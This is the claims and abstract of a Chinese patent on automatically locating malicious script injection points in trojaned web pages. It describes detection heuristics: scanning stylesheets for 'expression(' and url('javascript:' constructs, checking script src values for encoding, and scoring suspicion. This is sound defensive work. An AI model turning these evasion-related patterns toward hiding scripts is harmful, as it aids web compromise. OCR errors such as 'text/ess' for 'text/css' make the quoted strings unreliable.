2.如權(quán)利要求1所述的掛馬網(wǎng)頁木馬掛接點(diǎn)自動定位方法,其特征在于,所述樣式表 包括外部樣式表和內(nèi)部樣式表;所述外部樣式表通過下列方法獲得掃描掛馬網(wǎng)頁,當(dāng)遇到<link>標(biāo)簽時,若其屬性 滿足 <rel=〃 stylesheet",type =〃 text/ess" >,且含有 href 屬性,則提取 href 屬 性值指向的樣式表;所述內(nèi)部樣式表通過下列方法獲得掃描掛馬網(wǎng)頁,當(dāng)遇到〈style〉標(biāo)簽時,若其屬性 滿足〈type=" text/ess" >,則提取該標(biāo)簽內(nèi)部的樣式表。
3.如權(quán)利要求1所述的掛馬網(wǎng)頁木馬掛接點(diǎn)自動定位方法,其特征在于,通過下列方 法提取樣式表中的腳本掃描樣式表,若存在“expression”字段,則提取其后最近的一對匹配的“(”與”)”之 間的腳本;掃描樣式表,若存在“url( ‘javascript:”字串,則提取在其后與之匹配的”)”之間的 腳本。
4.如權(quán)利要求1所述的掛馬網(wǎng)頁木馬掛接點(diǎn)自動定位方法,其特征在于,所述掛馬網(wǎng) 頁中的腳本包括內(nèi)部腳本和外部腳本;所述內(nèi)部腳本通過下列方法獲得掃描掛馬網(wǎng)頁中的〈script〉標(biāo)簽,若該標(biāo)簽不存在 src屬性,則提取該標(biāo)簽內(nèi)部的腳本;所述外部腳本通過下列方法獲得掃描掛馬網(wǎng)頁中的〈script〉標(biāo)簽,若該標(biāo)簽存在 src屬性,則提取src屬性值指向的腳本。
5.如權(quán)利要求4所述的掛馬網(wǎng)頁木馬掛接點(diǎn)自動定位方法,其特征在于,若所述 〈script〉標(biāo)簽存在src屬性,則對src屬性值進(jìn)行解碼,若解碼后的值與原值不同,則認(rèn)定 所述外部腳本為惡意腳本。
6.如權(quán)利要求1所述的掛馬網(wǎng)頁木馬掛接點(diǎn)自動定位方法,其特征在于,步驟c)通過 下列方法確定腳本是否為惡意腳本a)若腳本所在的網(wǎng)頁中僅包含一段腳本,則設(shè)置此腳本的嫌疑度為3,否則設(shè)置為O;b)使用殺毒軟件掃描腳本,若包含惡意代碼,則設(shè)置此腳本的嫌疑度為5,否則設(shè)置為O ;c)若腳本標(biāo)簽包含src屬性,且src屬性值所指向的URL包含轉(zhuǎn)碼,則該設(shè)置此腳本的嫌疑度為1,否則設(shè)置為O ;d)若腳本包含對已知漏洞的對象的調(diào)用,則設(shè)置此腳本的嫌疑度為2,否則設(shè)置為O;e)若腳本中包含打開惡意網(wǎng)頁的行為,則設(shè)置此腳本的嫌疑度為5,否則設(shè)置為O;f)若腳本中包含重定向至惡意網(wǎng)頁的行為,則設(shè)置此腳本的嫌疑度為5,否則設(shè)置為O ;g)若腳本中包含添加惡意網(wǎng)頁的行為,則設(shè)置此腳本的嫌疑度為5,否則設(shè)置為O;h)將上述嫌疑度相加,獲得該腳本的總嫌疑度,若總嫌疑度大于或等于5,則認(rèn)定該腳本為惡意腳本。
全文摘要
本發(fā)明公開了一種掛馬網(wǎng)頁中網(wǎng)頁木馬掛接點(diǎn)自動定位方法,屬于計(jì)算機(jī)安全領(lǐng)域。該方法包括a)確定掛馬網(wǎng)頁;b)獲得掛馬網(wǎng)頁中的樣式表;對其中的腳本按步驟c)進(jìn)行腳本分析;c)獲得掛馬網(wǎng)頁中的腳本;輸出惡意腳本在其父網(wǎng)頁中的位置,惡意特征包括調(diào)用已知漏洞的對象、包含惡意代碼、打開惡意網(wǎng)頁、重定向至惡意網(wǎng)頁、和添加惡意網(wǎng)頁;d)獲得掛馬網(wǎng)頁中的內(nèi)嵌網(wǎng)頁,對確定掛馬的內(nèi)嵌網(wǎng)頁,比較其站點(diǎn)域名與掛馬網(wǎng)頁是否相同,若不同則輸出其內(nèi)嵌標(biāo)簽在其父網(wǎng)頁中的位置;若相同則進(jìn)行遞歸分析。本發(fā)明可用于計(jì)算機(jī)安全應(yīng)用,包括快速定位網(wǎng)頁木馬在網(wǎng)頁中掛接的位置,協(xié)助網(wǎng)站管理人員快速移除受害網(wǎng)頁中所包含的惡意內(nèi)容。
文檔編號H04L29/06GK101820419SQ20101013188
公開日2010年9月1日 申請日期2010年3月23日 優(yōu)先權(quán)日2010年3月23日
發(fā)明者梁知音, 鄒維, 韋韜, 龔曉銳 申請人:北京大學(xué)